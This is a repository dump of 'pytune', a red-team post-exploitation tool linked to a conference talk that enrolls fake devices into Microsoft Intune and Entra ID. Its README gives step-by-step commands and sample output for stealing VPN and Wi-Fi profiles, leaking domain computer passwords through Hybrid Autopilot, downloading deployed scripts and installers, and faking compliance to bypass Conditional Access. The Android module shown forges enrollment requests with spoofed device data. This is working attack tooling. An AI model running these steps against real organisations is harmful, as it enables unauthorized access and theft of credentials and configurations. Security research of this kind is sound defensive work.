├── .gitignore ├── LICENSE ├── README.md ├── device ├── __init__.py ├── android.py ├── device.py ├── linux.py └── windows.py ├── pytune.py ├── requirements.txt └── utils ├── __init__.py ├── logger.py └── utils.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.pfx 2 | *.key 3 | *.crt 4 | *.intunewin 5 | *.msi 6 | .roadtools_auth 7 | 8 | # https://github.com/github/gitignore/blob/main/Python.gitignore 9 | # Byte-compiled / optimized / DLL files 10 | __pycache__/ 11 | *.py[cod] 12 | *$py.class 13 | 14 | # C extensions 15 | *.so 16 | 17 | # Distribution / packaging 18 | .Python 19 | build/ 20 | develop-eggs/ 21 | dist/ 22 | downloads/ 23 | eggs/ 24 | .eggs/ 25 | lib/ 26 | lib64/ 27 | parts/ 28 | sdist/ 29 | var/ 30 | wheels/ 31 | share/python-wheels/ 32 | *.egg-info/ 33 | .installed.cfg 34 | *.egg 35 | MANIFEST 36 | 37 | # PyInstaller 38 | # Usually these files are written by a python script from a template 39 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 40 | *.manifest 41 | *.spec 42 | 43 | # Installer logs 44 | pip-log.txt 45 | pip-delete-this-directory.txt 46 | 47 | # Unit test / coverage reports 48 | htmlcov/ 49 | .tox/ 50 | .nox/ 51 | .coverage 52 | .coverage.* 53 | .cache 54 | nosetests.xml 55 | coverage.xml 56 | *.cover 57 | *.py,cover 58 | .hypothesis/ 59 | .pytest_cache/ 60 | cover/ 61 | 62 | # Translations 63 | *.mo 64 | *.pot 65 | 66 | # Django stuff: 67 | *.log 68 | local_settings.py 69 | db.sqlite3 70 | db.sqlite3-journal 71 | 72 | # Flask stuff: 73 | instance/ 74 | .webassets-cache 75 | 76 | # Scrapy stuff: 77 | .scrapy 78 | 79 | # Sphinx documentation 80 | docs/_build/ 81 | 82 | # PyBuilder 83 | .pybuilder/ 84 | target/ 85 | 86 | # Jupyter Notebook 87 | .ipynb_checkpoints 88 | 89 | # IPython 90 | profile_default/ 91 | ipython_config.py 92 | 93 | # pyenv 94 | # For a library or package, you might want to ignore these files since the code is 95 | # intended to run in multiple environments; otherwise, check them in: 96 | # .python-version 97 | 98 | # pipenv 99 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 100 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 101 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 102 | # install all needed dependencies. 103 | #Pipfile.lock 104 | 105 | # poetry 106 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 107 | # This is especially recommended for binary packages to ensure reproducibility, and is more 108 | # commonly ignored for libraries. 109 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 110 | #poetry.lock 111 | 112 | # pdm 113 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 114 | #pdm.lock 115 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 116 | # in version control. 117 | # https://pdm.fming.dev/latest/usage/project/#working-with-version-control 118 | .pdm.toml 119 | .pdm-python 120 | .pdm-build/ 121 | 122 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 123 | __pypackages__/ 124 | 125 | # Celery stuff 126 | celerybeat-schedule 127 | celerybeat.pid 128 | 129 | # SageMath parsed files 130 | *.sage.py 131 | 132 | # Environments 133 | .env 134 | .venv 135 | env/ 136 | venv/ 137 | ENV/ 138 | env.bak/ 139 | venv.bak/ 140 | 141 | # Spyder project settings 142 | .spyderproject 143 | .spyproject 144 | 145 | # Rope project settings 146 | .ropeproject 147 | 148 | # mkdocs documentation 149 | /site 150 | 151 | # mypy 152 | .mypy_cache/ 153 | .dmypy.json 154 | dmypy.json 155 | 156 | # Pyre type checker 157 | .pyre/ 158 | 159 | # pytype static type analyzer 160 | .pytype/ 161 | 162 | # Cython debug symbols 163 | cython_debug/ 164 | 165 | # PyCharm 166 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 167 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 168 | # and can be added to the global gitignore or merged into this file. For a more nuclear 169 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 170 | #.idea/ -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | # Pytune 3 | 4 | Pytune is a post-exploitation tool for enrolling a fake device into Intune with mulitple platform support. 5 | 6 | https://www.blackhat.com/eu-24/briefings/schedule/index.html#unveiling-the-power-of-intune-leveraging-intune-for-breaking-into-your-cloud-and-on-premise-42176 7 | 8 | Note that this is a proof of concept tool. The tool is provided as is, without warranty of any kind. 9 | 10 | Supported OSs are as follows: 11 | 12 | - Windows 13 | - Android 14 | - Linux 15 | 16 | This tools gives red teamers following advantages; 17 | 18 | - Enroll a fake device to Entra ID and Intune 19 | - Steal device configurations such as VPN, and Wi-Fi 20 | - Leak domain computer credentials if hybrid autopilot is enabled 21 | - Download installer files for lin-of-business apps, powershell scritps and custom Win32 apps (.bat, .exe ...etc) 22 | - Bypass Entra ID Conditional Access policy of "Marked as Compliant" 23 | - Clean up 24 | 25 | ## Usage 26 | 27 | ``` 28 | python3 pytune.py -h 29 | usage: pytune.py [-h] {entra_join,entra_delete,enroll_intune,checkin,retire_intune,check_compliant,download_apps} ... 30 | 31 | 32 | ______ __ __ ______ __ __ __ __ ______ 33 | /\ == \ /\ \_\ \ /\__ _\ /\ \/\ \ /\ "-.\ \ /\ ___\ 34 | \ \ _-/ \ \____ \ \/_/\ \/ \ \ \_\ \ \ \ \-. \ \ \ __\ 35 | \ \_\ \/\_____\ \ \_\ \ \_____\ \ \_\\"\_\ \ \_____\ 36 | \/_/ \/_____/ \/_/ \/_____/ \/_/ \/_/ \/_____/ 37 | 38 | Faking a device to Microsft Intune (version:1.0) 39 | 40 | 41 | options: 42 | -h, --help show this help message and exit 43 | 44 | subcommands: 45 | pytune commands 46 | 47 | {entra_join,entra_delete,enroll_intune,checkin,retire_intune,check_compliant,download_apps} 48 | entra_join join device to Entra ID 49 | entra_delete delete device from Entra ID 50 | enroll_intune enroll device to Intune 51 | checkin checkin to Intune 52 | retire_intune retire device from Intune 53 | check_compliant check compliant status 54 | download_apps download available win32apps and scripts (only Windows supported since I'm lazy) 55 | ``` 56 | 57 | ### Enroll a fake device 58 | 59 | To enroll a fake device to Intune, you need to register it to Entra ID first with `entra_join` command. 60 | 61 | ``` 62 | $ python3 pytune.py entra_join -o Windows -d Windows_pytune -u testuser@*******.onmicrosoft.com -p *********** 63 | Saving private key to Windows_pytune_key.pem 64 | Registering device 65 | Device ID: 8fd0710a-1ea3-4261-86d1-48d7509c80b8 66 | Saved device certificate to Windows_pytune_cert.pem 67 | [+] successfully registered Windows_pytune to Entra ID! 68 | [*] here is your device certificate: Windows_pytune.pfx (pw: password) 69 | ``` 70 | 71 | You will receive an Entra ID's device certificate when succeded. 72 | 73 | Then, you can enroll the fake device to Intune with `enroll_intune` command. 74 | 75 | ``` 76 | $ python3 pytune.py enroll_intune -o Windows -d Windows_pytune -c Windows_pytune.pfx -u testuser@*******.onmicrosoft.com -p *********** 77 | [*] resolved enrollment url: https://fef.msuc06.manage.microsoft.com/StatelessEnrollmentService/DeviceEnrollment.svc 78 | [+] successfully enrolled Windows_pytune to Intune! 79 | [*] here is your MDM pfx: Windows_pytune_mdm.pfx (pw: password) 80 | ``` 81 | 82 | Intune MDM device ceritificate, `{device_name}_mdm.pfx`, is generated once the device is enrolled to Intune. 83 | 84 | ### Steal device configuration 85 | 86 | You can start check-in with `checkin` command. 87 | This exchanges information between device and Intune management server. 88 | 89 | ``` 90 | $ python3 pytune.py checkin -o Windows -d Windows_pytune -c Windows_pytune.pfx -m Windows_pytune_mdm.pfx -u testuser@*******.onmicrosoft.com -p *********** 91 | [*] send request #1 92 | [*] sending data for ./Vendor/MSFT/NodeCache/MS%20DM%20Server 93 | [*] sending data for ./Vendor/MSFT/NodeCache/MS%20DM%20Server/CacheVersion 94 | [*] sending data for ./Vendor/MSFT/NodeCache/MS%20DM%20Server/ChangedNodes 95 | [*] sending data for ./DevDetail/SwV 96 | [*] sending data for ./DevDetail/Ext/Microsoft/LocalTime 97 | [*] sending data for ./Vendor/MSFT/WindowsLicensing/Edition 98 | [*] sending data for ./Vendor/MSFT/Update/LastSuccessfulScanTime 99 | ... 100 | ``` 101 | 102 | If there are any device configuration profiles, pytune will steal and display them. The followings are the examples of VPN and Wi-Fi settings delivered to the fake device. 103 | 104 | ``` 105 | [*] send request #9 106 | [*] checkin ended! 107 | [!] maybe these are configuration profiles: 108 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/RememberCredentials: false 109 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/AlwaysOn: false 110 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/RegisterDns: false 111 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/DeviceCompliance/Enabled: false 112 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/DeviceCompliance/Sso/Enabled: false 113 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/PluginProfile/ServerUrlList: vpn.contoso.com;Internal VPN 114 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/PluginProfile/CustomConfiguration: true 115 | - ./Device/Vendor/MSFT/VPNv2/Contoso%20VPN/PluginProfile/PluginPackageFamilyName: 951D7986.PulseSecureVPN_qzpvqh70t9a4p 116 | - ./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/Poll/PollOnLogin: true 117 | - ./cimv2/MDM_ConfigSetting/MDM_ConfigSetting.SettingName=%22AccountId%22/SettingValue: 3decc354-7c51-4c78-9f40-7eb57efbe447 118 | - ./Vendor/MSFT/WiFi/Profile/ContosoCorp_Wi-Fi/WlanXml: 119 | {'WLANProfile': {'@xmlns': 'http://www.microsoft.com/networking/WLAN/profile/v1', 'name': 'ContosoCorp_Wi-Fi', 'SSIDConfig': {'SSID': {'hex': '436F6E746F736F436F72705F57692D4669', 'name': 'ContosoCorp_Wi-Fi'}, 'nonBroadcast': 'false'}, 'connectionType': 'ESS', 'connectionMode': 'auto', 'autoSwitch': 'false', 'MSM': {'security': {'authEncryption': {'authentication': 'WPA2PSK', 'encryption': 'AES', 'useOneX': 'false', 'FIPSMode': {'@xmlns': 'http://www.microsoft.com/networking/WLAN/profile/v2', '#text': 'false'}}, 'sharedKey': {'keyType': 'passPhrase', 'protected': 'false', 'keyMaterial': 'SuperSecretWiFiPassword'}, 'PMKCacheMode': 'disabled'}}}} 120 | - ./Vendor/MSFT/WiFi/Profile/ContosoCorp_Wi-Fi/WiFiCost: 1 121 | - ./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/Push/PFN: 15494WindowsStoreWNS.WNSIntune_skcpvdt8tnyse 122 | ``` 123 | 124 | Also, if any installer files for line-of-business apps are configured to be delivered, `checkin` command will download it as follows. 125 | 126 | ``` 127 | [!] we found line-of-business app... 128 | [*] downloading msi file from https://fef.msuc06.manage.microsoft.com/ContentService/DownloadService/GetAppActive/WinRT?contentGuid=22cce2e1-e62d-4142-b7cb-c8750cd57dda&fileNameHash=45d9c902-8d79-417a-8414-4b21948011dd.msi.bin&api-version=1.0 129 | [+] successfully downloaded to 45d9c902-8d79-417a-8414-4b21948011dd.msi 130 | ``` 131 | 132 | This could be a VPN client installer file that can be used for initial access. 133 | 134 | ### Query compliance state of your device 135 | 136 | The device's compliance state is evaluated through the information sent to Intune during the check-in. 137 | `check_compliant` command queies the compliance state of the fake device and tell you which settings are not compliant with the company's policy 138 | 139 | ``` 140 | $ python3 pytune.py check_compliant -o Windows -c Windows_pytune.pfx -u testuser@*******.onmicrosoft.com -p *********** 141 | [*] resolved IWservice url: https://fef.msuc06.manage.microsoft.com/TrafficGateway/TrafficRoutingService/IWService/StatelessIWService 142 | [*] resolved token renewal url: https://fef.msuc06.manage.microsoft.com/OAuth/StatelessOAuthService/OAuthProxy/ 143 | [-] Windows_pytune is not compliant 144 | [!] non-compliant reason #1: 145 | - SettingID: Firewall_Enabled 146 | - Title: Device must have firewall enabled. 147 | - Description: This device must have the firewall enabled. Contact your IT administrator for help. 148 | [!] non-compliant reason #2: 149 | - SettingID: SpecificationVersionForCompliance 150 | - Title: A Trusted Platform Module (TPM) is required 151 | - ExpectedValue: Equals True 152 | - Description: This device does not have an active TPM present. 153 | ``` 154 | 155 | You can modify what settings are sent as a fake device, for example, in `device/windows.py`. 156 | Then, re-enroll and check-in again so that you can get a fake device being marked as compliant. 157 | 158 | ### Leak domain computer credentials 159 | 160 | When Hybrid Autopilot is configured, you can leak a domain computer's credential for initial access. 161 | To enroll a fake device as AutoPilot, you need to get a hardware hash from your test machine. 162 | 163 | As for the hardware hash retrieval, you can referer to the following page. 164 | 165 | https://learn.microsoft.com/en-us/autopilot/add-devices#powershell 166 | 167 | Then, you can provide the hardware hash in `-H` parameter in `checkin` command. 168 | 169 | ``` 170 | $ python3 pytune.py checkin -o Windows -d Windows_pytune -c Windows_pytune.pfx -m Windows_pytune_mdm.pfx -u testuser@*******.onmicrosoft.com -p *********** -H $HWHASH 171 | ``` 172 | 173 | Then, after the initial check-in with the hardware hash, the next check-in will give you the domain credential. 174 | 175 | ``` 176 | [+] got online domain join blob 177 | [*] parse domain join info... 178 | - domain: vuln.local 179 | - computername: DESKTOP-PZjn0P9$ 180 | - computerpass: _`@#"%zsw^W*********************************************** 181 | ``` 182 | 183 | ### Download Win32 apps and PowerShell scripts 184 | 185 | If there are Win32 apps or PowerShell scripts to be delviered, you can donwload it through `download_apps` command. 186 | Here is the example of the command. 187 | 188 | ``` 189 | $ python3 pytune.py download_apps -d Windows_pytune -m Windows_pytune_mdm.pfx 190 | [*] downloading scripts... 191 | [!] scripts found! 192 | [*] #1 (policyid:f7e2c3b6-b57f-43fb-a17f-2feab218806b): 193 | 194 | $userName = "pcadmin" 195 | $password = "SuperSecurePassword" 196 | $securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force 197 | 198 | New-LocalUser -Name $userName -Password $securePassword -FullName "Local Administrator" -Description "Local Admin User" -PasswordNeverExpires 199 | Add-LocalGroupMember -Group "Administrators" -Member $userName 200 | 201 | [*] downloading win32apps... 202 | [!] found ContosoCorpCustomApp! 203 | [*] downloading from http://swdc01-mscdn.manage.microsoft.com/3decc354-7c51-4c78-9f40-7eb57efbe447/6505c9ee-4847-4d5c-a7bb-aa99ec92d674/4ad4d2b8-9210-4496-ad12-11f48d255119.intunewin.bin ... 204 | [+] successfully downloaded to ContosoCorpCustomApp.intunewin! 205 | [!] found DomainJoin.bat! 206 | [*] downloading from http://swdc02-mscdn.manage.microsoft.com/3decc354-7c51-4c78-9f40-7eb57efbe447/f7131f16-29ef-415d-b549-ea706cba6da0/e9c4f14e-9d76-4797-a697-7139d64c8975.intunewin.bin ... 207 | [+] successfully downloaded to DomainJoin.bat.intunewin! 208 | ``` 209 | 210 | When successful, PowerShell scripts are displayed and also .intunewin files are downloaded. 211 | 212 | .intunewin file is just a zip file and you can unzip it to extract the Win32 apps inside. 213 | 214 | ### Clean-up 215 | 216 | For clean-up, retire the fake device from Intune. 217 | 218 | First, you need to execute `retire_intune` command. 219 | 220 | ``` 221 | $ python3 pytune.py retire_intune -o Windows -c Windows_pytune.pfx -u testuser@*******.onmicrosoft.com -p *********** 222 | [*] resolved IWservice url: https://fef.msuc06.manage.microsoft.com/TrafficGateway/TrafficRoutingService/IWService/StatelessIWService 223 | [*] resolved token renewal url: https://fef.msuc06.manage.microsoft.com/OAuth/StatelessOAuthService/OAuthProxy/ 224 | [*] resolved reitrement url: https://fef.msuc06.manage.microsoft.com/TrafficGateway/TrafficRoutingService/IWService/StatelessIWService/Devices(guid'cabd6f8f-a88f-42e7-b3d0-6b93efb41657')/FullWipe 225 | [+] successfully retired: 8fd0710a-1ea3-4261-86d1-48d7509c80b8 226 | ``` 227 | 228 | To complete retirement, you need to check-in again. This will delete the fake device object from Intune. 229 | 230 | ``` 231 | $ python3 pytune.py checkin -o Windows -d Windows_pytune -c Windows_pytune.pfx -m Windows_pytune_mdm.pfx -u testuser@*******.onmicrosoft.com -p *********** 232 | [*] send request #1 233 | [*] send request #2 234 | [*] sending data for ./Vendor/MSFT/DMClient/Provider/MS%20DM%20Server/EntDMID 235 | [*] send request #3 236 | [*] checkin ended! 237 | ``` 238 | 239 | Additionally, you need to delete the device in Entra ID as well with `entra_delete` command. 240 | 241 | ``` 242 | $ python3 pytune.py entra_delete -c Windows_pytune.pfx 243 | Device was deleted in Azure AD 244 | ``` 245 | 246 | If the device is enrolled as an AutoPilot device, then it fails to delete the device object from Entra ID. 247 | Delete the device information in Microsoft Intune admin center > Windows > Enrollment > Devices before `entra_delete` command. 248 | -------------------------------------------------------------------------------- /device/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secureworks/pytune/579a4da22f1a33b62d79c93a1bc5862190a2d28b/device/__init__.py -------------------------------------------------------------------------------- /device/android.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import requests 3 | import xml.etree.ElementTree as ET 4 | import xmltodict 5 | from datetime import datetime, timedelta, timezone 6 | from device.device import Device 7 | from utils.utils import renew_token 8 | 9 | class Android(Device): 10 | def __init__(self, logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy): 11 | super().__init__(logger, os, device_name, deviceid, uid, tenant, prt, session_key, proxy) 12 | self.os_version = '8.2.0' 13 | self.ssp_version = '5.0.6060.0' 14 | self.checkin_url = 'https://a.manage.microsoft.com/devicegatewayproxy/AndroidHandler.ashx?Platform=AndroidForWork' 15 | self.provider_name = 'AndroidEnrollment' 16 | self.cname = 'ConfigMgrEnroll' 17 | 18 | def generate_initial_syncml(self, sessionid, imei): 19 | syncml_data = self.generate_syncml_header(1, sessionid, imei) 20 | syncml_data["SyncML"]["SyncBody"] = { 21 | "Alert": {"CmdID": "1", "Data": "0"}, 22 | "Replace": { 23 | "CmdID": "2", 24 | "Item": [ 25 | { 26 | "Source": {"LocURI": "./DevInfo/DevId"}, 27 | "Data": f"imei:{imei}", 28 | }, 29 | { 30 | "Source": {"LocURI": "./DevInfo/Man"}, 31 | "Data": self.get_syncml_data("./DevInfo/Man")["Data"] 32 | }, 33 | { 34 | "Source": {"LocURI": "./DevInfo/Mod"}, 35 | "Data": self.get_syncml_data("./DevInfo/Mod")["Data"], 36 | }, 37 | { 38 | "Source": {"LocURI": "./DevInfo/DmV"}, "Data": "1.0" 39 | }, 40 | { 41 | "Source": {"LocURI": "./DevInfo/Lang"}, 42 | "Data": self.get_syncml_data("./DevInfo/Lang")["Data"] 43 | } 44 | ], 45 | }, 46 | "Final": None 47 | } 48 | return xmltodict.unparse(syncml_data, pretty=False) 49 | 50 | def get_enrollment_token(self, refresh_token): 51 | return renew_token(refresh_token, '9ba1a5c7-f17a-4de9-a1f1-6178c8d51223', 'openid offline_access profile d4ebce55-015a-49b5-a083-c84d1797ae8c/.default', self.proxy) 52 | 53 | def send_enroll_request(self, enrollment_url, csr_pem, csr_token, ztdregistrationid): 54 | token_b64 = base64.b64encode(csr_token.encode('utf-8')).decode('utf-8') 55 | body = f''' 56 | 63 | 64 | http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep 65 | urn:uuid:0d5a1441-5891-453b-becf-a2e5f6ea3749 66 | 67 | http://www.w3.org/2005/08/addressing/anonymous 68 | 69 | {enrollment_url} 70 | 71 | 72 | {token_b64} 73 | 74 | 75 | 76 | 77 | 78 | http://schemas.microsoft.com/5.0.0.0/ConfigurationManager/Enrollment/DeviceEnrollmentToken 79 | http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue 80 | 81 | {csr_pem} 82 | 83 | 85 | 86 | AndroidForWork 87 | 88 | 89 | {self.os_version} 90 | 91 | 92 | {self.deviceid} 93 | 94 | 95 | 00000000000000 96 | 97 | 98 | PYTUNE 99 | 100 | 101 | Google 102 | 103 | 104 | 105 | 106 | 107 | ''' 108 | 109 | response = requests.post( 110 | url=enrollment_url, 111 | data=body, 112 | headers={"Content-Type": "application/soap+xml; charset=utf-8"}, 113 | proxies=self.proxy, 114 | verify=False 115 | ) 116 | 117 | xml = ET.fromstring(response.content.decode('utf-8')) 118 | binary_security_token = xml.find('.//{http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd}BinarySecurityToken').text 119 | return base64.b64decode(binary_security_token).decode('utf-8') 120 | 121 | def get_syncml_data(self, key): 122 | now = datetime.now(timezone(timedelta(minutes=540))) 123 | formatted_date = now.strftime("%Y%m%d%H%M%S.%f%z") 124 | data = { 125 | f"./DevInfo/Lang": { 126 | "Format": "chr", 127 | "Data": "en-US" 128 | }, 129 | f"./DevInfo/Man": { 130 | "Format": "chr", 131 | "Data": "Google" 132 | }, 133 | f"./DevDetail/SwV": { 134 | "Format": "chr", 135 | "Data": self.os_version 136 | }, 137 | f"./DevDetail/Ext/Microsoft/LocalTime": { 138 | "Format": "chr", 139 | "Data": formatted_date 140 | }, 141 | f"./Device/DevDetail/Ext/Microsoft/LocalTime": { 142 | "Format": "chr", 143 | "Data": formatted_date 144 | }, 145 | f"./Vendor/MSFT/DeviceLock/DevicePolicyManager/IsActivePasswordSufficient": { 146 | "Format": "bool", 147 | "Data": "true" 148 | }, 149 | f"./Vendor/MSFT/WorkProfileLock/DevicePolicyManager/IsActivePasswordSufficient": { 150 | "Format": "bool", 151 | "Data": "true" 152 | }, 153 | f"./Device/Vendor/MSFT/DMClient/Provider/SCConfigMgr/EntDeviceName": { 154 | "Format": "chr", 155 | "Data": self.device_name 156 | }, 157 | f"./Device/DevDetail/SwV": { 158 | "Format": "chr", 159 | "Data": self.os_version 160 | }, 161 | f"./Device/DevInfo/DmI": { 162 | "Format": "chr", 163 | "Data": "com.android.vending" 164 | }, 165 | f"./Device/DevInfo/Man": { 166 | "Format": "chr", 167 | "Data": "Google" 168 | }, 169 | f"./Device/DevInfo/Mod": { 170 | "Format": "chr", 171 | "Data": "Android SDK built for x86" 172 | }, 173 | f"./DevInfo/Mod": { 174 | "Format": "chr", 175 | "Data": "Android SDK built for x86" 176 | }, 177 | f"./Device/DevDetail/Ext/Microsoft/KnoxStandardCapable": { 178 | "Format": "bool", 179 | "Data": "false" 180 | }, 181 | f"./Device/DevDetail/Ext/Microsoft/KnoxStandardVersion": { 182 | "Format": "bool", 183 | "Data": "false" 184 | }, 185 | f"./Device/DevDetail/Ext/Microsoft/Container": { 186 | "Format": "chr", 187 | "Data": "AndroidForWork" 188 | }, 189 | f"./Device/Vendor/MSFT/DeviceInformation/APILevel": { 190 | "Format": "int", 191 | "Data": "27" 192 | }, 